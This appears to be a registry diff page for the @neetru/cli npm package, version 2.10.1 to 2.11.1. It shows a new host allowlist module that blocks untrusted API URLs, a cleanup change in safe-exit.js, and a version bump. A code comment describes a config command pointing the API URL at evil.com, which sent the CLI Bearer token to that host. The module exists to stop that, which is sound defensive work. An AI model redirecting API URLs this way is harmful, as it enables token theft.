@neetru/cli 2.10.1 → 2.11.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (66) hide show
  1. package/CHANGELOG.md +63 -0
  2. package/README.md +11 -7
  3. package/dist/commands/add.js +5 -0
  4. package/dist/commands/add.js.map +1 -1
  5. package/dist/commands/agent-release.js +1 -1
  6. package/dist/commands/agent-release.js.map +1 -1
  7. package/dist/commands/autocomplete.d.ts +8 -1
  8. package/dist/commands/autocomplete.js +64 -18
  9. package/dist/commands/autocomplete.js.map +1 -1
  10. package/dist/commands/build.js +95 -14
  11. package/dist/commands/build.js.map +1 -1
  12. package/dist/commands/config.d.ts +4 -1
  13. package/dist/commands/config.js +32 -1
  14. package/dist/commands/config.js.map +1 -1
  15. package/dist/commands/db.js +4 -1
  16. package/dist/commands/db.js.map +1 -1
  17. package/dist/commands/deploy.js +17 -2
  18. package/dist/commands/deploy.js.map +1 -1
  19. package/dist/commands/doctor.js +3 -2
  20. package/dist/commands/doctor.js.map +1 -1
  21. package/dist/commands/logs.js +6 -4
  22. package/dist/commands/logs.js.map +1 -1
  23. package/dist/commands/products-db.js +1 -0
  24. package/dist/commands/products-db.js.map +1 -1
  25. package/dist/commands/promote.js +6 -6
  26. package/dist/commands/promote.js.map +1 -1
  27. package/dist/commands/publish.js +3 -2
  28. package/dist/commands/publish.js.map +1 -1
  29. package/dist/commands/servers.d.ts +18 -0
  30. package/dist/commands/servers.js +80 -2
  31. package/dist/commands/servers.js.map +1 -1
  32. package/dist/commands/status.js +2 -2
  33. package/dist/commands/status.js.map +1 -1
  34. package/dist/commands/validate.js +3 -2
  35. package/dist/commands/validate.js.map +1 -1
  36. package/dist/commands/whoami.js +3 -20
  37. package/dist/commands/whoami.js.map +1 -1
  38. package/dist/index.js +81 -21
  39. package/dist/index.js.map +1 -1
  40. package/dist/lib/agent-commands.d.ts +20 -0
  41. package/dist/lib/agent-commands.js +38 -0
  42. package/dist/lib/agent-commands.js.map +1 -0
  43. package/dist/lib/api-client.d.ts +2 -0
  44. package/dist/lib/api-client.js +30 -2
  45. package/dist/lib/api-client.js.map +1 -1
  46. package/dist/lib/auth.d.ts +10 -0
  47. package/dist/lib/auth.js +33 -1
  48. package/dist/lib/auth.js.map +1 -1
  49. package/dist/lib/cli-read.d.ts +3 -0
  50. package/dist/lib/cli-read.js +5 -2
  51. package/dist/lib/cli-read.js.map +1 -1
  52. package/dist/lib/db-local/env.d.ts +11 -0
  53. package/dist/lib/db-local/env.js +11 -0
  54. package/dist/lib/db-local/env.js.map +1 -1
  55. package/dist/lib/telemetry.d.ts +45 -0
  56. package/dist/lib/telemetry.js +199 -0
  57. package/dist/lib/telemetry.js.map +1 -0
  58. package/dist/lib/token-resolver.d.ts +11 -0
  59. package/dist/lib/token-resolver.js +52 -0
  60. package/dist/lib/token-resolver.js.map +1 -0
  61. package/dist/lib/url-allowlist.d.ts +30 -0
  62. package/dist/lib/url-allowlist.js +90 -0
  63. package/dist/lib/url-allowlist.js.map +1 -0
  64. package/dist/utils/safe-exit.js +8 -15
  65. package/dist/utils/safe-exit.js.map +1 -1
  66. package/package.json +66 -66
@@ -0,0 +1,90 @@
1
+ /**
2
+ * MASTER-HIGH-049 (2.11.0) — allowlist de hosts pra `neetruApiUrl`.
3
+ *
4
+ * Pre-2.11, `neetru config set neetruApiUrl http://evil.com` era aceito sem
5
+ * warning. Proxima chamada `neetru whoami` mandava o Bearer
6
+ * `nrt_<keyId>_<secret>` direto pra `evil.com` — vetor de exfiltracao do
7
+ * token CLI. (HIGH-10 / chefe-CLI HIGH-02.)
8
+ *
9
+ * Politica:
10
+ * - Hosts trustred: api.neetru.com, core.neetru.com, *.neetru.com,
11
+ * localhost (qualquer porta), 127.0.0.1 (qualquer porta).
12
+ * - Hosts NAO trusted: warning vermelho + bloqueio sem
13
+ * `--allow-untrusted-url` (ou env `NEETRU_ALLOW_UNTRUSTED_URL=1`).
14
+ */
15
+ const TRUSTED_HOSTS_EXACT = new Set([
16
+ 'api.neetru.com',
17
+ 'core.neetru.com',
18
+ 'neetru.com',
19
+ ]);
20
+ const TRUSTED_HOST_PATTERNS = [
21
+ /\.neetru\.com$/i, // qualquer subdominio de neetru.com (auth.neetru.com etc)
22
+ /^localhost$/i, // dev
23
+ /^127\.0\.0\.1$/, // dev IPv4 loopback
24
+ /^\[::1\]$/, // dev IPv6 loopback (URL host com bracket)
25
+ ];
26
+ /**
27
+ * Classifica a URL alvo. Retorna `trusted=true` quando o host bate na
28
+ * allowlist; `trusted=false` (com `reason`) caso contrario.
29
+ */
30
+ export function classifyApiUrl(rawUrl) {
31
+ let parsed;
32
+ try {
33
+ parsed = new URL(rawUrl);
34
+ }
35
+ catch (err) {
36
+ return {
37
+ trusted: false,
38
+ host: rawUrl,
39
+ reason: `URL invalida: ${err.message}`,
40
+ };
41
+ }
42
+ if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {
43
+ return {
44
+ trusted: false,
45
+ host: parsed.host,
46
+ reason: `Protocolo nao suportado: ${parsed.protocol}`,
47
+ };
48
+ }
49
+ // Hostname (sem porta).
50
+ const hostname = parsed.hostname.toLowerCase();
51
+ const isLoopback = hostname === 'localhost' ||
52
+ hostname === '127.0.0.1' ||
53
+ hostname === '::1';
54
+ // Match contra allowlist (exact + pattern).
55
+ let hostnameAllowed = TRUSTED_HOSTS_EXACT.has(hostname);
56
+ if (!hostnameAllowed) {
57
+ for (const pattern of TRUSTED_HOST_PATTERNS) {
58
+ if (pattern.test(hostname)) {
59
+ hostnameAllowed = true;
60
+ break;
61
+ }
62
+ }
63
+ }
64
+ if (!hostnameAllowed) {
65
+ return {
66
+ trusted: false,
67
+ host: parsed.host,
68
+ reason: 'Host fora da allowlist neetru.com / localhost',
69
+ };
70
+ }
71
+ // Hostname permitido. Para hosts NAO-loopback, exige HTTPS (HTTP em
72
+ // host de producao expoe Bearer token a sniffing trivial).
73
+ if (!isLoopback && parsed.protocol === 'http:') {
74
+ return {
75
+ trusted: false,
76
+ host: parsed.host,
77
+ reason: `HTTP nao-cifrado para host nao-loopback (${hostname}). Use https://`,
78
+ };
79
+ }
80
+ return { trusted: true, host: parsed.host };
81
+ }
82
+ /**
83
+ * Override por env. Setar `NEETRU_ALLOW_UNTRUSTED_URL=1` pula a checagem
84
+ * tanto em `config set` quanto em runtime warnings — util pra dev em
85
+ * ambientes corporativos com proxy.
86
+ */
87
+ export function isOverrideEnabled() {
88
+ return process.env.NEETRU_ALLOW_UNTRUSTED_URL === '1';
89
+ }
90
+ //# sourceMappingURL=url-allowlist.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"url-allowlist.js","sourceRoot":"","sources":["../../src/lib/url-allowlist.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;GAaG;AAQH,MAAM,mBAAmB,GAAG,IAAI,GAAG,CAAC;IAClC,gBAAgB;IAChB,iBAAiB;IACjB,YAAY;CACb,CAAC,CAAC;AAEH,MAAM,qBAAqB,GAA0B;IACnD,iBAAiB,EAAE,0DAA0D;IAC7E,cAAc,EAAE,MAAM;IACtB,gBAAgB,EAAE,oBAAoB;IACtC,WAAW,EAAE,2CAA2C;CACzD,CAAC;AAEF;;;GAGG;AACH,MAAM,UAAU,cAAc,CAAC,MAAc;IAC3C,IAAI,MAAW,CAAC;IAChB,IAAI,CAAC;QACH,MAAM,GAAG,IAAI,GAAG,CAAC,MAAM,CAAC,CAAC;IAC3B,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO;YACL,OAAO,EAAE,KAAK;YACd,IAAI,EAAE,MAAM;YACZ,MAAM,EAAE,iBAAkB,GAAa,CAAC,OAAO,EAAE;SAClD,CAAC;IACJ,CAAC;IAED,IAAI,MAAM,CAAC,QAAQ,KAAK,QAAQ,IAAI,MAAM,CAAC,QAAQ,KAAK,OAAO,EAAE,CAAC;QAChE,OAAO;YACL,OAAO,EAAE,KAAK;YACd,IAAI,EAAE,MAAM,CAAC,IAAI;YACjB,MAAM,EAAE,4BAA4B,MAAM,CAAC,QAAQ,EAAE;SACtD,CAAC;IACJ,CAAC;IAED,wBAAwB;IACxB,MAAM,QAAQ,GAAG,MAAM,CAAC,QAAQ,CAAC,WAAW,EAAE,CAAC;IAE/C,MAAM,UAAU,GACd,QAAQ,KAAK,WAAW;QACxB,QAAQ,KAAK,WAAW;QACxB,QAAQ,KAAK,KAAK,CAAC;IAErB,4CAA4C;IAC5C,IAAI,eAAe,GAAG,mBAAmB,CAAC,GAAG,CAAC,QAAQ,CAAC,CAAC;IACxD,IAAI,CAAC,eAAe,EAAE,CAAC;QACrB,KAAK,MAAM,OAAO,IAAI,qBAAqB,EAAE,CAAC;YAC5C,IAAI,OAAO,CAAC,IAAI,CAAC,QAAQ,CAAC,EAAE,CAAC;gBAC3B,eAAe,GAAG,IAAI,CAAC;gBACvB,MAAM;YACR,CAAC;QACH,CAAC;IACH,CAAC;IAED,IAAI,CAAC,eAAe,EAAE,CAAC;QACrB,OAAO;YACL,OAAO,EAAE,KAAK;YACd,IAAI,EAAE,MAAM,CAAC,IAAI;YACjB,MAAM,EAAE,+CAA+C;SACxD,CAAC;IACJ,CAAC;IAED,oEAAoE;IACpE,2DAA2D;IAC3D,IAAI,CAAC,UAAU,IAAI,MAAM,CAAC,QAAQ,KAAK,OAAO,EAAE,CAAC;QAC/C,OAAO;YACL,OAAO,EAAE,KAAK;YACd,IAAI,EAAE,MAAM,CAAC,IAAI;YACjB,MAAM,EAAE,4CAA4C,QAAQ,iBAAiB;SAC9E,CAAC;IACJ,CAAC;IAED,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,IAAI,EAAE,MAAM,CAAC,IAAI,EAAE,CAAC;AAC9C,CAAC;AAED;;;;GAIG;AACH,MAAM,UAAU,iBAAiB;IAC/B,OAAO,OAAO,CAAC,GAAG,CAAC,0BAA0B,KAAK,GAAG,CAAC;AACxD,CAAC"}
@@ -37,21 +37,14 @@ function cleanupHandles() {
37
37
  process.stdin.destroy();
38
38
  }
39
39
  catch { /* já fechado */ }
40
- // 3. Destroy http/https keep-alive sockets
41
- try {
42
- // eslint-disable-next-line @typescript-eslint/no-var-requires
43
- const http = require('node:http');
44
- if (http?.globalAgent?.destroy)
45
- http.globalAgent.destroy();
46
- }
47
- catch { /* best-effort */ }
48
- try {
49
- // eslint-disable-next-line @typescript-eslint/no-var-requires
50
- const https = require('node:https');
51
- if (https?.globalAgent?.destroy)
52
- https.globalAgent.destroy();
53
- }
54
- catch { /* best-effort */ }
40
+ // 3. M-05 fix (Opus review 2026-05-27): NÃO destruir globalAgent.
41
+ // Antes destruíamos http.globalAgent.destroy() + https.globalAgent.destroy()
42
+ // pra fechar keep-alive sockets — mas isso quebrava telemetria flush
43
+ // e qualquer retry em-flight. fetch() Node 20+ usa undici internamente
44
+ // e não depende do http.globalAgent legado. As assertions libuv
45
+ // UV_HANDLE_CLOSING em Windows resolvem com stdin.destroy() (acima)
46
+ // e o exit imediato — sockets http morrem com o processo de qualquer
47
+ // forma. Manter destroy aqui prejudicava telemetria keepalive:true.
55
48
  }
56
49
  /**
57
50
  * Sai com `code` após cleanup de handles libuv. NEVER returns.
@@ -1 +1 @@
1
- {"version":3,"file":"safe-exit.js","sourceRoot":"","sources":["../../src/utils/safe-exit.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;GA0BG;AAEH,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,SAAS,cAAc;IACrB,gEAAgE;IAChE,IAAI,CAAC;QAAC,eAAe,EAAE,CAAC;IAAC,CAAC;IAAC,MAAM,CAAC,CAAC,iBAAiB,CAAC,CAAC;IAEtD,6CAA6C;IAC7C,IAAI,CAAC;QAAC,OAAO,CAAC,KAAK,CAAC,OAAO,EAAE,CAAC;IAAC,CAAC;IAAC,MAAM,CAAC,CAAC,gBAAgB,CAAC,CAAC;IAE3D,2CAA2C;IAC3C,IAAI,CAAC;QACH,8DAA8D;QAC9D,MAAM,IAAI,GAAG,OAAO,CAAC,WAAW,CAAC,CAAC;QAClC,IAAI,IAAI,EAAE,WAAW,EAAE,OAAO;YAAE,IAAI,CAAC,WAAW,CAAC,OAAO,EAAE,CAAC;IAC7D,CAAC;IAAC,MAAM,CAAC,CAAC,iBAAiB,CAAC,CAAC;IAC7B,IAAI,CAAC;QACH,8DAA8D;QAC9D,MAAM,KAAK,GAAG,OAAO,CAAC,YAAY,CAAC,CAAC;QACpC,IAAI,KAAK,EAAE,WAAW,EAAE,OAAO;YAAE,KAAK,CAAC,WAAW,CAAC,OAAO,EAAE,CAAC;IAC/D,CAAC;IAAC,MAAM,CAAC,CAAC,iBAAiB,CAAC,CAAC;AAC/B,CAAC;AAED;;;GAGG;AACH,MAAM,UAAU,QAAQ,CAAC,IAAY;IACnC,cAAc,EAAE,CAAC;IACjB,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AACrB,CAAC;AAED;;;;GAIG;AACH,MAAM,UAAU,eAAe,CAAC,IAAY;IAC1C,cAAc,EAAE,CAAC;IACjB,OAAO,CAAC,QAAQ,GAAG,IAAI,CAAC;AAC1B,CAAC"}
1
+ {"version":3,"file":"safe-exit.js","sourceRoot":"","sources":["../../src/utils/safe-exit.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;GA0BG;AAEH,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,SAAS,cAAc;IACrB,gEAAgE;IAChE,IAAI,CAAC;QAAC,eAAe,EAAE,CAAC;IAAC,CAAC;IAAC,MAAM,CAAC,CAAC,iBAAiB,CAAC,CAAC;IAEtD,6CAA6C;IAC7C,IAAI,CAAC;QAAC,OAAO,CAAC,KAAK,CAAC,OAAO,EAAE,CAAC;IAAC,CAAC;IAAC,MAAM,CAAC,CAAC,gBAAgB,CAAC,CAAC;IAE3D,kEAAkE;IAClE,gFAAgF;IAChF,wEAAwE;IACxE,0EAA0E;IAC1E,mEAAmE;IACnE,uEAAuE;IACvE,wEAAwE;IACxE,0EAA0E;AAC5E,CAAC;AAED;;;GAGG;AACH,MAAM,UAAU,QAAQ,CAAC,IAAY;IACnC,cAAc,EAAE,CAAC;IACjB,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AACrB,CAAC;AAED;;;;GAIG;AACH,MAAM,UAAU,eAAe,CAAC,IAAY;IAC1C,cAAc,EAAE,CAAC;IACjB,OAAO,CAAC,QAAQ,GAAG,IAAI,CAAC;AAC1B,CAAC"}
package/package.json CHANGED
@@ -1,66 +1,66 @@
1
- {
2
- "name": "@neetru/cli",
3
- "version": "2.10.1",
4
- "type": "module",
5
- "description": "Neetru Developer Kit — scaffold, AI assistant, publish, build e deploy de produtos SaaS Neetru via Core (VM-based agents)",
6
- "keywords": [
7
- "neetru",
8
- "saas",
9
- "cli",
10
- "devkit",
11
- "scaffold",
12
- "deploy",
13
- "agent",
14
- "vm"
15
- ],
16
- "homepage": "https://core.neetru.com",
17
- "repository": {
18
- "type": "git",
19
- "url": "https://github.com/Neetru/neetru-core.git",
20
- "directory": "cli"
21
- },
22
- "author": "Neetru Inc. <neetrucode@gmail.com>",
23
- "license": "MIT",
24
- "bin": {
25
- "neetru": "./dist/index.js"
26
- },
27
- "main": "./dist/index.js",
28
- "files": [
29
- "dist",
30
- "templates",
31
- "README.md",
32
- "CHANGELOG.md"
33
- ],
34
- "scripts": {
35
- "build": "tsc",
36
- "dev": "tsx src/index.ts",
37
- "start": "node dist/index.js",
38
- "test": "vitest run",
39
- "test:watch": "vitest",
40
- "prepublishOnly": "npm run build"
41
- },
42
- "dependencies": {
43
- "@anthropic-ai/sdk": "^0.96.0",
44
- "@neetru/db-classifier": "^0.1.0",
45
- "chalk": "^5.4.1",
46
- "commander": "^12.1.0",
47
- "conf": "^13.0.1",
48
- "inquirer": "^10.2.2",
49
- "openai": "^4.77.0",
50
- "ora": "^8.1.1",
51
- "zod": "^3.24.2"
52
- },
53
- "devDependencies": {
54
- "@types/inquirer": "^9.0.7",
55
- "@types/node": "^22.0.0",
56
- "tsx": "^4.22.0",
57
- "typescript": "^5.9.3",
58
- "vitest": "^4.1.7"
59
- },
60
- "engines": {
61
- "node": ">=20"
62
- },
63
- "publishConfig": {
64
- "access": "public"
65
- }
66
- }
1
+ {
2
+ "name": "@neetru/cli",
3
+ "version": "2.11.1",
4
+ "type": "module",
5
+ "description": "Neetru Developer Kit — scaffold, AI assistant, publish, build e deploy de produtos SaaS Neetru via Core (VM-based agents)",
6
+ "keywords": [
7
+ "neetru",
8
+ "saas",
9
+ "cli",
10
+ "devkit",
11
+ "scaffold",
12
+ "deploy",
13
+ "agent",
14
+ "vm"
15
+ ],
16
+ "homepage": "https://core.neetru.com",
17
+ "repository": {
18
+ "type": "git",
19
+ "url": "https://github.com/Neetru/neetru-core.git",
20
+ "directory": "cli"
21
+ },
22
+ "author": "Neetru Inc. <neetrucode@gmail.com>",
23
+ "license": "MIT",
24
+ "bin": {
25
+ "neetru": "./dist/index.js"
26
+ },
27
+ "main": "./dist/index.js",
28
+ "files": [
29
+ "dist",
30
+ "templates",
31
+ "README.md",
32
+ "CHANGELOG.md"
33
+ ],
34
+ "scripts": {
35
+ "build": "tsc",
36
+ "dev": "tsx src/index.ts",
37
+ "start": "node dist/index.js",
38
+ "test": "vitest run",
39
+ "test:watch": "vitest",
40
+ "prepublishOnly": "npm run build"
41
+ },
42
+ "dependencies": {
43
+ "@anthropic-ai/sdk": "^0.96.0",
44
+ "@neetru/db-classifier": "^0.1.0",
45
+ "chalk": "^5.4.1",
46
+ "commander": "^12.1.0",
47
+ "conf": "^13.0.1",
48
+ "inquirer": "^10.2.2",
49
+ "openai": "^4.77.0",
50
+ "ora": "^8.1.1",
51
+ "zod": "^3.24.2"
52
+ },
53
+ "devDependencies": {
54
+ "@types/inquirer": "^9.0.7",
55
+ "@types/node": "^22.0.0",
56
+ "tsx": "^4.22.0",
57
+ "typescript": "^5.9.3",
58
+ "vitest": "^4.1.7"
59
+ },
60
+ "engines": {
61
+ "node": ">=20"
62
+ },
63
+ "publishConfig": {
64
+ "access": "public"
65
+ }
66
+ }